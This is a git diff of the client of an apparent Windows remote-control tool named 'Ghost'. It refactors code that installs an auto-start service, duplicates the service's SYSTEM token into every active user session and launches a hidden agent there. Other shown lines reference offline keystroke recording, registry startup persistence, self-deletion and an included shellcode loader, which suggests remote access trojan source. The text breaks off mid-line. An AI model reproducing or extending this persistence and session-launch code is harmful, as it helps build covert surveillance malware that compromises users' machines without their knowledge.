diff --git a/client/ClientApp.h b/client/ClientApp.h index 0deb011..df8004c 100644 --- a/client/ClientApp.h +++ b/client/ClientApp.h @@ -8,6 +8,6 @@ public: virtual ~App() {} virtual bool Initialize() = 0; - virtual bool Start(bool block) = 0; + virtual bool Start() = 0; virtual bool Stop() = 0; }; diff --git a/client/ClientDll.cpp b/client/ClientDll.cpp index 14ce132..409748b 100644 --- a/client/ClientDll.cpp +++ b/client/ClientDll.cpp @@ -182,74 +182,6 @@ BOOL CALLBACK callback(DWORD CtrlType) return TRUE; } - -void PrintUsage() -{ - Mprintf("Ghost Remote Control\n"); - Mprintf("Usage:\n"); - Mprintf(" ghost.exe -install Install as Windows service\n"); - Mprintf(" ghost.exe -uninstall Uninstall service\n"); - Mprintf(" ghost.exe -service Run as service (internal use)\n"); - Mprintf(" ghost.exe -agent Run as agent (launched by service)\n"); - Mprintf(" ghost.exe Run as normal application (debug mode)\n"); - Mprintf("\n"); -} - -extern "C" BOOL RunAsAgent(BOOL block) -{ - return g_MyApp.Run(block ? true : false) ? TRUE : FALSE; -} - -bool RunService(int argc, const char* argv[]) -{ - g_ServiceDirectMode = FALSE; - - if (argc == 1) { // 无参数时,作为服务启动 - BOOL registered = FALSE; - BOOL running = FALSE; - char servicePath[MAX_PATH] = {0}; - ServiceWrapper_CheckStatus(®istered, &running, servicePath, MAX_PATH); - char curPath[MAX_PATH]; - GetModuleFileName(NULL, curPath, MAX_PATH); - if (registered && strcmp(curPath, servicePath) != 0) { - Mprintf("RunService Uninstall: %s\n", servicePath); - ServiceWrapper_Uninstall(); - registered = FALSE; - } - if (!registered) { - Mprintf("RunService Install: %s\n", curPath); - ServiceWrapper_Install(); - } else if (!running) { - int r = ServiceWrapper_Run(); - Mprintf("RunService Run '%s' %s\n", curPath, r==ERROR_SUCCESS ? "succeed" : "failed"); - if (r) { - r = ServiceWrapper_StartSimple(); - Mprintf("RunService Start '%s' %s\n", curPath, r == ERROR_SUCCESS ? "succeed" : "failed"); - } - } - return true; - } else if (argc > 1) { - if (_stricmp(argv[1], "-install") == 0) { - ServiceWrapper_Install(); - return true; - } else if (_stricmp(argv[1], "-uninstall") == 0) { - ServiceWrapper_Uninstall(); - return true; - } else if (_stricmp(argv[1], "-service") == 0) { - ServiceWrapper_Run(); - return true; - } else if (_stricmp(argv[1], "-agent") == 0) { - RunAsAgent(true); - return true; - } else if (_stricmp(argv[1], "-help") == 0 || _stricmp(argv[1], "/?") == 0) { - PrintUsage(); - return true; - } - } - - return false; -} - int main(int argc, const char *argv[]) { bool isService = g_SETTINGS.iStartup == Startup_GhostMsc; @@ -265,8 +197,11 @@ int main(int argc, const char *argv[]) } if (isService) { - bool ret = RunService(argc, argv); - Mprintf("RunService %s. Arg Count: %d\n", ret ? "succeed" : "failed", argc); + bool ret = RunAsWindowsService(argc, argv); + Mprintf("RunAsWindowsService %s. Arg Count: %d\n", ret ? "succeed" : "failed", argc); + for (int i = 0; !ret && i < argc; i++) { + Mprintf(" Arg [%d]: %s\n", i, argv[i]); + } if (ret) return 0x20251123; } diff --git a/client/ClientDll.h b/client/ClientDll.h index 73c3d3b..e32de35 100644 --- a/client/ClientDll.h +++ b/client/ClientDll.h @@ -108,10 +108,9 @@ public: g_Connection->SetType(CLIENT_TYPE_ONE); return true; } - virtual bool Start(bool block) override + virtual bool Start() override { - if (block) StartClientApp(this); - else CloseHandle(__CreateThread(0, 0, StartClientApp, this, 0, 0)); + StartClientApp(this); return true; } virtual bool Stop() override @@ -119,11 +118,11 @@ public: g_bExit = S_CLIENT_EXIT; return true; } - bool Run(bool block = true) + bool Run() { if (!Initialize()) return false; - if (!Start(block)) return false; - if (block) Stop(); + if (!Start()) return false; + if (!Stop()) return false; return true; } }; diff --git a/client/KeyboardManager.cpp b/client/KeyboardManager.cpp index 068ad85..b026ca1 100644 --- a/client/KeyboardManager.cpp +++ b/client/KeyboardManager.cpp @@ -37,6 +37,7 @@ CKeyboardManager1::CKeyboardManager1(IOCPClient*pClient, int offline, void* user) : CManager(pClient) { + clip::set_error_handler(NULL); m_bIsOfflineRecord = offline; char path[MAX_PATH] = { "C:\\Windows\\" }; diff --git a/client/ServiceWrapper.c b/client/ServiceWrapper.c index 8642703..45e5c4b 100644 --- a/client/ServiceWrapper.c +++ b/client/ServiceWrapper.c @@ -5,40 +5,27 @@ #ifndef Mprintf #ifdef _DEBUG #define Mprintf printf +#define Log(p) ServiceWriteLog(p, "C:\\GhostService.log") #else #define Mprintf(format, ...) +#define Log(p) #endif #endif -// 外部声明 -extern BOOL RunAsAgent(BOOL block); - // 静态变量 -BOOL g_ServiceDirectMode = FALSE; -static SERVICE_STATUS g_ServiceStatus; +static MyService g_MyService = +{ "RemoteControlService", "Remote Control Service", "Provides remote desktop control functionality."}; + +static SERVICE_STATUS g_ServiceStatus = { 0 }; static SERVICE_STATUS_HANDLE g_StatusHandle = NULL; -static HANDLE g_StopEvent = INVALID_HANDLE_VALUE; +static HANDLE g_StopEvent = NULL; // 前向声明 static void WINAPI ServiceMain(DWORD argc, LPTSTR* argv); static void WINAPI ServiceCtrlHandler(DWORD ctrlCode); -static void ServiceWriteLog(const char* message); -// 日志函数 -static void ServiceWriteLog(const char* message) -{ - FILE* f; - SYSTEMTIME st; - - f = fopen("C:\\GhostService.log", "a"); - if (f) { - GetLocalTime(&st); - fprintf(f, "[%04d-%02d-%02d %02d:%02d:%02d] %s\n", - st.wYear, st.wMonth, st.wDay, - st.wHour, st.wMinute, st.wSecond, - message); - fclose(f); - } +void InitWindowsService(MyService info){ + memcpy(&g_MyService, &info, sizeof(MyService)); } BOOL ServiceWrapper_CheckStatus(BOOL* registered, BOOL* running, @@ -67,7 +54,7 @@ BOOL ServiceWrapper_CheckStatus(BOOL* registered, BOOL* running, // 打开服务 hService = OpenServiceA( hSCM, - SERVICE_NAME, + g_MyService.Name, SERVICE_QUERY_STATUS | SERVICE_QUERY_CONFIG); if (!hService) { CloseServiceHandle(hSCM); @@ -124,7 +111,7 @@ int ServiceWrapper_StartSimple(void) } // 打开服务并启动 - hService = OpenServiceA(hSCM, SERVICE_NAME, SERVICE_START); + hService = OpenServiceA(hSCM, g_MyService.Name, SERVICE_START); if (!hService) { err = (int)GetLastError(); CloseServiceHandle(hSCM); @@ -147,18 +134,18 @@ int ServiceWrapper_Run(void) char buffer[256]; SERVICE_TABLE_ENTRY ServiceTable[2]; - ServiceTable[0].lpServiceName = (LPSTR)SERVICE_NAME; + ServiceTable[0].lpServiceName = (LPSTR)g_MyService.Name; ServiceTable[0].lpServiceProc = (LPSERVICE_MAIN_FUNCTION)ServiceMain; ServiceTable[1].lpServiceName = NULL; ServiceTable[1].lpServiceProc = NULL; - ServiceWriteLog("========================================"); - ServiceWriteLog("ServiceWrapper_Run() called"); + Log("========================================"); + Log("ServiceWrapper_Run() called"); if (StartServiceCtrlDispatcher(ServiceTable) == FALSE) { err = GetLastError(); sprintf(buffer, "StartServiceCtrlDispatcher failed: %d", (int)err); - ServiceWriteLog(buffer); + Log(buffer); return (int)err; } return ERROR_SUCCESS; @@ -171,15 +158,15 @@ static void WINAPI ServiceMain(DWORD argc, LPTSTR* argv) (void)argc; (void)argv; - ServiceWriteLog("ServiceMain() called"); + Log("ServiceMain() called"); g_StatusHandle = RegisterServiceCtrlHandler( - SERVICE_NAME, + g_MyService.Name, ServiceCtrlHandler ); if (g_StatusHandle == NULL) { - ServiceWriteLog("RegisterServiceCtrlHandler failed"); + Log("RegisterServiceCtrlHandler failed"); return; } @@ -196,7 +183,7 @@ static void WINAPI ServiceMain(DWORD argc, LPTSTR* argv) g_StopEvent = CreateEvent(NULL, TRUE, FALSE, NULL); if (g_StopEvent == NULL) { - ServiceWriteLog("CreateEvent failed"); + Log("CreateEvent failed"); g_ServiceStatus.dwCurrentState = SERVICE_STOPPED; g_ServiceStatus.dwWin32ExitCode = GetLastError(); SetServiceStatus(g_StatusHandle, &g_ServiceStatus); @@ -209,7 +196,7 @@ static void WINAPI ServiceMain(DWORD argc, LPTSTR* argv) g_ServiceStatus.dwCheckPoint = 0; SetServiceStatus(g_StatusHandle, &g_ServiceStatus); - ServiceWriteLog("Service is now running"); + Log("Service is now running"); hThread = CreateThread(NULL, 0, ServiceWrapper_WorkerThread, NULL, 0, NULL); if (hThread) { @@ -225,14 +212,14 @@ static void WINAPI ServiceMain(DWORD argc, LPTSTR* argv) g_ServiceStatus.dwCheckPoint = 3; SetServiceStatus(g_StatusHandle, &g_ServiceStatus); - ServiceWriteLog("Service stopped"); + Log("Service stopped"); } static void WINAPI ServiceCtrlHandler(DWORD ctrlCode) { switch (ctrlCode) { case SERVICE_CONTROL_STOP: - ServiceWriteLog("SERVICE_CONTROL_STOP received"); + Log("SERVICE_CONTROL_STOP received"); if (g_ServiceStatus.dwCurrentState != SERVICE_RUNNING) break; @@ -265,29 +252,21 @@ DWORD WINAPI ServiceWrapper_WorkerThread(LPVOID lpParam) (void)lpParam; // 未使用参数 - if (g_ServiceDirectMode) { - // 直接模式:在服务进程中运行(SYSTEM权限) - ServiceWriteLog("Running in DIRECT mode (SYSTEM)"); - RunAsAgent(FALSE); - WaitForSingleObject(g_StopEvent, INFINITE); - return ERROR_SUCCESS; - } - - ServiceWriteLog("========================================"); - ServiceWriteLog("Worker thread started"); - ServiceWriteLog("Service will launch agent in user sessions"); + Log("========================================"); + Log("Worker thread started"); + Log("Service will launch agent in user sessions"); // 初始化会话监控器 SessionMonitor_Init(&monitor); if (!SessionMonitor_Start(&monitor)) { - ServiceWriteLog("ERROR: Failed to start session monitor"); + Log("ERROR: Failed to start session monitor"); SessionMonitor_Cleanup(&monitor); return ERROR_SERVICE_SPECIFIC_ERROR; } - ServiceWriteLog("Session monitor started successfully"); - ServiceWriteLog("Agent will be launched automatically"); + Log("Session monitor started successfully"); + Log("Agent will be launched automatically"); // 主循环,只等待停止信号 // SessionMonitor 会在后台自动: @@ -297,22 +276,22 @@ DWORD WINAPI ServiceWrapper_WorkerThread(LPVOID lpParam) while (WaitForSingleObject(g_StopEvent, 10000) != WAIT_OBJECT_0) { heartbeatCount++; if (heartbeatCount % 6 == 0) { // 每60秒记录一次 - sprintf(buf, "Service heartbeat - uptime: %d minutes", heartbeatCount); - ServiceWriteLog(buf); + sprintf(buf, "Service heartbeat - uptime: %d minutes", heartbeatCount / 6); + Log(buf); } } - ServiceWriteLog("Stop signal received"); - ServiceWriteLog("Stopping session monitor..."); + Log("Stop signal received"); + Log("Stopping session monitor..."); SessionMonitor_Stop(&monitor); SessionMonitor_Cleanup(&monitor); - ServiceWriteLog("Worker thread exiting"); - ServiceWriteLog("========================================"); + Log("Worker thread exiting"); + Log("========================================"); return ERROR_SUCCESS; } -void ServiceWrapper_Install(void) +BOOL ServiceWrapper_Install(void) { SC_HANDLE schSCManager; SC_HANDLE schService; @@ -330,13 +309,13 @@ void ServiceWrapper_Install(void) if (schSCManager == NULL) { Mprintf("ERROR: OpenSCManager failed (%d)\n", (int)GetLastError()); Mprintf("Please run as Administrator\n"); - return; + return FALSE; } if (!GetModuleFileName(NULL, szPath, MAX_PATH)) { Mprintf("ERROR: GetModuleFileName failed (%d)\n", (int)GetLastError()); CloseServiceHandle(schSCManager); - return; + return FALSE; } Mprintf("Installing service...\n"); @@ -344,8 +323,8 @@ void ServiceWrapper_Install(void) schService = CreateService( schSCManager, - SERVICE_NAME, - SERVICE_DISPLAY, + g_MyService.Name, + g_MyService.Display, SERVICE_ALL_ACCESS, SERVICE_WIN32_OWN_PROCESS, SERVICE_AUTO_START, @@ -360,10 +339,12 @@ void ServiceWrapper_Install(void) Mprintf("INFO: Service already exists\n"); // 打开已存在的服务 - schService = OpenService(schSCManager, SERVICE_NAME, SERVICE_ALL_ACCESS); + schService = OpenService(schSCManager, g_MyService.Name, SERVICE_ALL_ACCESS); if (schService) { Mprintf("SUCCESS: Service is already installed\n"); CloseServiceHandle(schService); + CloseServiceHandle(schSCManager); + return TRUE; } } else if (err == ERROR_ACCESS_DENIED) { Mprintf("ERROR: Access denied. Please run as Administrator\n"); @@ -371,13 +352,13 @@ void ServiceWrapper_Install(void) Mprintf("ERROR: CreateService failed (%d)\n", (int)err); } CloseServiceHandle(schSCManager); - return; + return FALSE; } Mprintf("SUCCESS: Service created successfully\n"); // 设置服务描述 - sd.lpDescription = (LPSTR)SERVICE_DESC; + sd.lpDescription = (LPSTR)g_MyService.Description; if (ChangeServiceConfig2(schService, SERVICE_CONFIG_DESCRIPTION, &sd)) { Mprintf("SUCCESS: Service description set\n"); } @@ -404,7 +385,7 @@ void ServiceWrapper_Install(void) Mprintf("INFO: Service is already running\n"); } else { Mprintf("WARNING: StartService failed (%d)\n", (int)err); - Mprintf("You can start it manually using: net start %s\n", SERVICE_NAME); + Mprintf("You can start it manually using: net start %s\n", g_MyService.Name); } } @@ -422,9 +403,11 @@ void ServiceWrapper_Install(void) Mprintf(" - C:\\SessionMonitor.log (session monitor logs)\n"); Mprintf("\n"); Mprintf("Commands:\n"); - Mprintf(" To verify: sc query %s\n", SERVICE_NAME); - Mprintf(" To start: net start %s\n", SERVICE_NAME); - Mprintf(" To stop: net stop %s\n", SERVICE_NAME); + Mprintf(" To verify: sc query %s\n", g_MyService.Name); + Mprintf(" To start: net start %s\n", g_MyService.Name); + Mprintf(" To stop: net stop %s\n", g_MyService.Name); + + return TRUE; } void ServiceWrapper_Uninstall(void) @@ -449,7 +432,7 @@ void ServiceWrapper_Uninstall(void) schService = OpenService( schSCManager, - SERVICE_NAME, + g_MyService.Name, SERVICE_STOP | DELETE ); @@ -503,3 +486,100 @@ void ServiceWrapper_Uninstall(void) Mprintf("\n=== Uninstallation Complete ===\n"); } + +void PrintUsage() +{ + Mprintf("Usage:\n"); + Mprintf(" -install Install as Windows service\n"); + Mprintf(" -uninstall Uninstall service\n"); + Mprintf(" -service Run as service\n"); + Mprintf(" -agent Run as agent\n"); + Mprintf(" default Run as normal application\n"); + Mprintf("\n"); +} + +// 从服务路径中提取可执行文件路径(去除引号和参数) +static void ExtractExePath(const char* input, char* output, size_t outSize) +{ + const char* start = input; + const char* end; + size_t len; + + if (outSize == 0) return; + output[0] = '\0'; + + // 跳过开头的引号 + if (*start == '"') { + start++; + end = strchr(start, '"'); + if (!end) end = start + strlen(start); + } else { + // 找到第一个空格(参数分隔)或字符串结尾 + end = strchr(start, ' '); + if (!end) end = start + strlen(start); + } + + len = end - start; + if (len >= outSize) len = outSize - 1; + + strncpy(output, start, len); + output[len] = '\0'; +} + +BOOL RunAsWindowsService(int argc, const char* argv[]) +{ + if (argc == 1) { // 无参数时,作为服务启动 + BOOL registered = FALSE; + BOOL running = FALSE; + char servicePath[MAX_PATH] = { 0 }; + char serviceExePath[MAX_PATH] = { 0 }; + char curPath[MAX_PATH] = { 0 }; + + ServiceWrapper_CheckStatus(®istered, &running, servicePath, MAX_PATH); + GetModuleFileName(NULL, curPath, MAX_PATH); + + // 从服务路径中提取可执行文件路径(去除引号和参数) + ExtractExePath(servicePath, serviceExePath, MAX_PATH); + + // 使用不区分大小写的比较 + if (registered && _stricmp(curPath, serviceExePath) != 0) { + Mprintf("RunAsWindowsService Uninstall: %s\n", servicePath); + ServiceWrapper_Uninstall(); + registered = FALSE; + } + if (!registered) { + Mprintf("RunAsWindowsService Install: %s\n", curPath); + return ServiceWrapper_Install(); + } else if (!running) { + int r = ServiceWrapper_Run(); + Mprintf("RunAsWindowsService Run '%s' %s\n", curPath, r == ERROR_SUCCESS ? "succeed" : "failed"); + if (r) { + r = ServiceWrapper_StartSimple(); + Mprintf("RunService Start '%s' %s\n", curPath, r == ERROR_SUCCESS ? "succeed" : "failed"); + return r == ERROR_SUCCESS; + } + return TRUE; + } + return TRUE; + } else if (argc > 1) { + if (_stricmp(argv[1], "-install") == 0) { + return ServiceWrapper_Install(); + } + else if (_stricmp(argv[1], "-uninstall") == 0) { + ServiceWrapper_Uninstall(); + return TRUE; + } + else if (_stricmp(argv[1], "-service") == 0) { + return ServiceWrapper_Run() == ERROR_SUCCESS; + } + else if (_stricmp(argv[1], "-agent") == 0) { + return FALSE; + } + else if (_stricmp(argv[1], "-help") == 0 || _stricmp(argv[1], "/?") == 0) { + PrintUsage(); + return TRUE; + } + } + + return FALSE; +} diff --git a/client/ServiceWrapper.h b/client/ServiceWrapper.h index abcf9f3..41573c6 100644 --- a/client/ServiceWrapper.h +++ b/client/ServiceWrapper.h @@ -3,15 +3,16 @@ #include +typedef struct MyService { + char Name[256]; + char Display[256]; + char Description[512]; +} MyService; + #ifdef __cplusplus extern "C" { #endif -// 服务配置:根据需要可修改这些参数 -#define SERVICE_NAME "RemoteControlService" -#define SERVICE_DISPLAY "Remote Control Service" -#define SERVICE_DESC "Provides remote desktop control functionality" - /* # 停止服务 net stop RemoteControlService @@ -26,8 +27,11 @@ net start RemoteControlService sc query RemoteControlService */ -// 直接模式标志 -extern BOOL g_ServiceDirectMode; +// 自定义服务信息 +void InitWindowsService(MyService info); + +// 以Windows服务模式运行程序 +BOOL RunAsWindowsService(int argc, const char* argv[]); // 检查服务状态 // 参数: @@ -48,7 +52,7 @@ int ServiceWrapper_StartSimple(void); int ServiceWrapper_Run(void); // 安装服务 -void ServiceWrapper_Install(void); +BOOL ServiceWrapper_Install(void); // 卸载服务 void ServiceWrapper_Uninstall(void); diff --git a/client/SessionMonitor.c b/client/SessionMonitor.c index 839a75d..09059db 100644 --- a/client/SessionMonitor.c +++ b/client/SessionMonitor.c @@ -8,6 +8,12 @@ // ̬ʼ #define INITIAL_CAPACITY 4 +#ifdef _DEBUG +#define SessionLog(p) ServiceWriteLog(p, "C:\\SessionMonitor.log") +#else +#define SessionLog(p) +#endif + // ǰ static DWORD WINAPI MonitorThreadProc(LPVOID param); static void MonitorLoop(SessionMonitor* self); @@ -15,7 +21,6 @@ static BOOL LaunchAgentInSession(SessionMonitor* self, DWORD sessionId); static BOOL IsAgentRunningInSession(SessionMonitor* self, DWORD sessionId); static void TerminateAllAgents(SessionMonitor* self); static void CleanupDeadProcesses(SessionMonitor* self); -static void SessionMonitor_WriteLog(const char* message); // ̬鸨 static void AgentArray_Init(AgentProcessArray* arr); @@ -84,20 +89,20 @@ static void AgentArray_RemoveAt(AgentProcessArray* arr, size_t index) // ============================================ // ־ // ============================================ - -static void SessionMonitor_WriteLog(const char* message) +void ServiceWriteLog(const char* message, const char* filename) { - FILE* f; - SYSTEMTIME st; + FILE* f; + SYSTEMTIME st; - f = fopen("C:\\SessionMonitor.log", "a"); - if (f) { - GetLocalTime(&st); - fprintf(f, "[%04d-%02d-%02d %02d:%02d:%02d] %s\n", - st.wYear, st.wMonth, st.wDay, - st.wHour, st.wMinute, st.wSecond, message); - fclose(f); - } + f = fopen(filename, "a"); + if (f) { + GetLocalTime(&st); + fprintf(f, "[%04d-%02d-%02d %02d:%02d:%02d] %s\n", + st.wYear, st.wMonth, st.wDay, + st.wHour, st.wMinute, st.wSecond, + message); + fclose(f); + } } // ============================================ @@ -122,23 +127,23 @@ void SessionMonitor_Cleanup(SessionMonitor* self) BOOL SessionMonitor_Start(SessionMonitor* self) { if (self->running) { - SessionMonitor_WriteLog("Monitor already running"); + SessionLog("Monitor already running"); return TRUE; } - SessionMonitor_WriteLog("========================================"); - SessionMonitor_WriteLog("Starting session monitor..."); + SessionLog("========================================"); + SessionLog("Starting session monitor..."); self->running = TRUE; self->monitorThread = CreateThread(NULL, 0, MonitorThreadProc, self, 0, NULL); if (!self->monitorThread) { - SessionMonitor_WriteLog("ERROR: Failed to create monitor thread"); + SessionLog("ERROR: Failed to create monitor thread"); self->running = FALSE; return FALSE; } - SessionMonitor_WriteLog("Session monitor thread created"); + SessionLog("Session monitor thread created"); return TRUE; } @@ -148,7 +153,7 @@ void SessionMonitor_Stop(SessionMonitor* self) return; } - SessionMonitor_WriteLog("Stopping session monitor..."); + SessionLog("Stopping session monitor..."); self->running = FALSE; if (self->monitorThread) { @@ -158,11 +163,11 @@ void SessionMonitor_Stop(SessionMonitor* self) } // ֹд - SessionMonitor_WriteLog("Terminating all agent processes..."); + SessionLog("Terminating all agent processes..."); TerminateAllAgents(self); - SessionMonitor_WriteLog("Session monitor stopped"); - SessionMonitor_WriteLog("========================================"); + SessionLog("Session monitor stopped"); + SessionLog("========================================"); } // ============================================ @@ -187,7 +192,7 @@ static void MonitorLoop(SessionMonitor* self) char buf[256]; int j; - SessionMonitor_WriteLog("Monitor loop started"); + SessionLog("Monitor loop started"); while (self->running) { loopCount++; @@ -214,20 +219,20 @@ static void MonitorLoop(SessionMonitor* self) sprintf(buf, "Active session found: ID=%d, Name=%s", (int)sessionId, pSessionInfo[i].pWinStationName); - SessionMonitor_WriteLog(buf); + SessionLog(buf); } // ǷڸûỰ if (!IsAgentRunningInSession(self, sessionId)) { sprintf(buf, "Agent not running in session %d, launching...", (int)sessionId); - SessionMonitor_WriteLog(buf); + SessionLog(buf); if (LaunchAgentInSession(self, sessionId)) { - SessionMonitor_WriteLog("Agent launched successfully"); + SessionLog("Agent launched successfully"); // һЩʱ Sleep(2000); } else { - SessionMonitor_WriteLog("Failed to launch agent"); + SessionLog("Failed to launch agent"); } } @@ -237,13 +242,13 @@ static void MonitorLoop(SessionMonitor* self) } if (!foundActiveSession && loopCount % 5 == 1) { - SessionMonitor_WriteLog("No active sessions found"); + SessionLog("No active sessions found"); } WTSFreeMemory(pSessionInfo); } else { if (loopCount % 5 == 1) { - SessionMonitor_WriteLog("WTSEnumerateSessions failed"); + SessionLog("WTSEnumerateSessions failed"); } } @@ -253,7 +258,7 @@ static void MonitorLoop(SessionMonitor* self) } } - SessionMonitor_WriteLog("Monitor loop exited"); + SessionLog("Monitor loop exited"); } static BOOL IsAgentRunningInSession(SessionMonitor* self, DWORD sessionId) @@ -287,7 +292,7 @@ static BOOL IsAgentRunningInSession(SessionMonitor* self, DWORD sessionId) // ̿ hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); if (hSnapshot == INVALID_HANDLE_VALUE) { - SessionMonitor_WriteLog("CreateToolhelp32Snapshot failed"); + SessionLog("CreateToolhelp32Snapshot failed"); return FALSE; } @@ -329,14 +334,14 @@ static void TerminateAllAgents(SessionMonitor* self) EnterCriticalSection(&self->csProcessList); sprintf(buf, "Terminating %d agent process(es)", (int)self->agentProcesses.count); - SessionMonitor_WriteLog(buf); + SessionLog(buf); for (i = 0; i < self->agentProcesses.count; i++) { info = &self->agentProcesses.items[i]; sprintf(buf, "Terminating agent PID=%d (Session %d)", (int)info->processId, (int)info->sessionId); - SessionMonitor_WriteLog(buf); + SessionLog(buf); // Ƿ if (GetExitCodeProcess(info->hProcess, &exitCode)) { @@ -345,16 +350,16 @@ static void TerminateAllAgents(SessionMonitor* self) if (!TerminateProcess(info->hProcess, 0)) { sprintf(buf, "WARNING: Failed to terminate PID=%d, error=%d", (int)info->processId, (int)GetLastError()); - SessionMonitor_WriteLog(buf); + SessionLog(buf); } else { - SessionMonitor_WriteLog("Agent terminated successfully"); + SessionLog("Agent terminated successfully"); // ȴȫ˳ WaitForSingleObject(info->hProcess, 5000); } } else { sprintf(buf, "Agent PID=%d already exited with code %d", (int)info->processId, (int)exitCode); - SessionMonitor_WriteLog(buf); + SessionLog(buf); } } @@ -364,7 +369,7 @@ static void TerminateAllAgents(SessionMonitor* self) self->agentProcesses.count = 0; // LeaveCriticalSection(&self->csProcessList); - SessionMonitor_WriteLog("All agents terminated"); + SessionLog("All agents terminated"); } // ѾֹĽ @@ -386,7 +391,7 @@ static void CleanupDeadProcesses(SessionMonitor* self) // ˳ sprintf(buf, "Agent PID=%d exited with code %d, cleaning up", (int)info->processId, (int)exitCode); - SessionMonitor_WriteLog(buf); + SessionLog(buf); CloseHandle(info->hProcess); AgentArray_RemoveAt(&self->agentProcesses, i); @@ -396,7 +401,7 @@ static void CleanupDeadProcesses(SessionMonitor* self) // ޷ȡ˳룬ܽѲ sprintf(buf, "Cannot query agent PID=%d, removing from list", (int)info->processId); - SessionMonitor_WriteLog(buf); + SessionLog(buf); CloseHandle(info->hProcess); AgentArray_RemoveAt(&self->agentProcesses, i); @@ -429,7 +434,7 @@ static BOOL LaunchAgentInSession(SessionMonitor* self, DWORD sessionId) memset(&pi, 0, sizeof(pi)); sprintf(buf, "Attempting to launch agent in session %d", (int)sessionId); - SessionMonitor_WriteLog(buf); + SessionLog(buf); si.cb = sizeof(STARTUPINFO); si.lpDesktop = (LPSTR)"winsta0\\default"; // ؼָ @@ -437,7 +442,7 @@ static BOOL LaunchAgentInSession(SessionMonitor* self, DWORD sessionId) // ȡǰ̵ SYSTEM if (!OpenProcessToken(GetCurrentProcess(), TOKEN_DUPLICATE | TOKEN_QUERY, &hToken)) { sprintf(buf, "OpenProcessToken failed: %d", (int)GetLastError()); - SessionMonitor_WriteLog(buf); + SessionLog(buf); return FALSE; } @@ -445,7 +450,7 @@ static BOOL LaunchAgentInSession(SessionMonitor* self, DWORD sessionId) if (!DuplicateTokenEx(hToken, MAXIMUM_ALLOWED, NULL, SecurityImpersonation, TokenPrimary, &hDupToken)) { sprintf(buf, "DuplicateTokenEx failed: %d", (int)GetLastError()); - SessionMonitor_WriteLog(buf); + SessionLog(buf); CloseHandle(hToken); return FALSE; } @@ -453,30 +458,30 @@ static BOOL LaunchAgentInSession(SessionMonitor* self, DWORD sessionId) // ޸ƵĻỰ ID ΪĿûỰ if (!SetTokenInformation(hDupToken, TokenSessionId, &sessionId, sizeof(sessionId))) { sprintf(buf, "SetTokenInformation failed: %d", (int)GetLastError()); - SessionMonitor_WriteLog(buf); + SessionLog(buf); CloseHandle(hDupToken); CloseHandle(hToken); return FALSE; } - SessionMonitor_WriteLog("Token duplicated"); + SessionLog("Token duplicated"); // ȡǰ·Լ if (!GetModuleFileName(NULL, exePath, MAX_PATH)) { - SessionMonitor_WriteLog("GetModuleFileName failed"); + SessionLog("GetModuleFileName failed"); CloseHandle(hDupToken); CloseHandle(hToken); return FALSE; } sprintf(buf, "Service path: %s", exePath); - SessionMonitor_WriteLog(buf); + SessionLog(buf); // ļǷ fileAttr = GetFileAttributes(exePath); if (fileAttr == INVALID_FILE_ATTRIBUTES) { sprintf(buf, "ERROR: Executable not found at: %s", exePath); - SessionMonitor_WriteLog(buf); + SessionLog(buf); CloseHandle(hDupToken); CloseHandle(hToken); return FALSE; @@ -486,18 +491,18 @@ static BOOL LaunchAgentInSession(SessionMonitor* self, DWORD sessionId) sprintf(cmdLine, "\"%s\" -agent", exePath); sprintf(buf, "Command line: %s", cmdLine); - SessionMonitor_WriteLog(buf); + SessionLog(buf); // ȡûڻ if (!WTSQueryUserToken(sessionId, &hUserToken)) { sprintf(buf, "WTSQueryUserToken failed: %d", (int)GetLastError()); - SessionMonitor_WriteLog(buf); + SessionLog(buf); } // ʹûƴ if (hUserToken) { if (!CreateEnvironmentBlock(&lpEnvironment, hUserToken, FALSE)) { - SessionMonitor_WriteLog("CreateEnvironmentBlock failed"); + SessionLog("CreateEnvironmentBlock failed"); } CloseHandle(hUserToken); } @@ -523,7 +528,7 @@ static BOOL LaunchAgentInSession(SessionMonitor* self, DWORD sessionId) if (result) { sprintf(buf, "SUCCESS: Agent process created (PID=%d)", (int)pi.dwProcessId); - SessionMonitor_WriteLog(buf); + SessionLog(buf); // ϢԱֹͣʱֹ EnterCriticalSection(&self->csProcessList); @@ -537,15 +542,15 @@ static BOOL LaunchAgentInSession(SessionMonitor* self, DWORD sessionId) } else { err = GetLastError(); sprintf(buf, "CreateProcessAsUser failed: %d", (int)err); - SessionMonitor_WriteLog(buf); + SessionLog(buf); // ṩϸĴϢ if (err == ERROR_FILE_NOT_FOUND) { - SessionMonitor_WriteLog("ERROR: ghost_agent.exe not found"); + SessionLog("ERROR: agent executable file not found"); } else if (err == ERROR_ACCESS_DENIED) { - SessionMonitor_WriteLog("ERROR: Access denied - service may not have sufficient privileges"); + SessionLog("ERROR: Access denied - service may not have sufficient privileges"); } else if (err == 1314) { - SessionMonitor_WriteLog("ERROR: Service does not have SE_INCREASE_QUOTA privilege"); + SessionLog("ERROR: Service does not have SE_INCREASE_QUOTA privilege"); } } diff --git a/client/SessionMonitor.h b/client/SessionMonitor.h index bbb0b78..8be9c19 100644 --- a/client/SessionMonitor.h +++ b/client/SessionMonitor.h @@ -44,6 +44,8 @@ BOOL SessionMonitor_Start(SessionMonitor* self); // 停止会话监控 void SessionMonitor_Stop(SessionMonitor* self); +void ServiceWriteLog(const char* message, const char* filename); + #ifdef __cplusplus } #endif diff --git a/client/TestRun_vs2015.vcxproj b/client/TestRun_vs2015.vcxproj index 80134cb..67bf6c8 100644 --- a/client/TestRun_vs2015.vcxproj +++ b/client/TestRun_vs2015.vcxproj @@ -163,6 +163,8 @@ + + @@ -170,6 +172,8 @@ + + diff --git a/client/test.cpp b/client/test.cpp index 078add1..86bad5c 100644 --- a/client/test.cpp +++ b/client/test.cpp @@ -12,6 +12,7 @@ #include "SCLoader.cpp" extern "C" { #include "reg_startup.h" +#include "ServiceWrapper.h" } #pragma comment(lib, "ws2_32.lib") @@ -216,8 +217,10 @@ public: // ļھʹлȡIPͶ˿. int main(int argc, const char *argv[]) { + InitWindowsService({"ClientDemoService", "Client Demo Service", "Provide a demo service."}); + bool isService = g_ConnectAddress.iStartup == Startup_TestRunMsc; // ע - int r = RegisterStartup("Client Demo", "ClientDemo", true); + int r = RegisterStartup("Client Demo", "ClientDemo", !isService); if (r <= 0) { BOOL s = self_del(); if (!IsDebug)return r; @@ -227,6 +230,17 @@ int main(int argc, const char *argv[]) if(!ok) { Mprintf("ÿʧܣùԱȨ.\n"); } + + if (isService) { + bool ret = RunAsWindowsService(argc, argv); + Mprintf("RunAsWindowsService %s. Arg Count: %d\n", 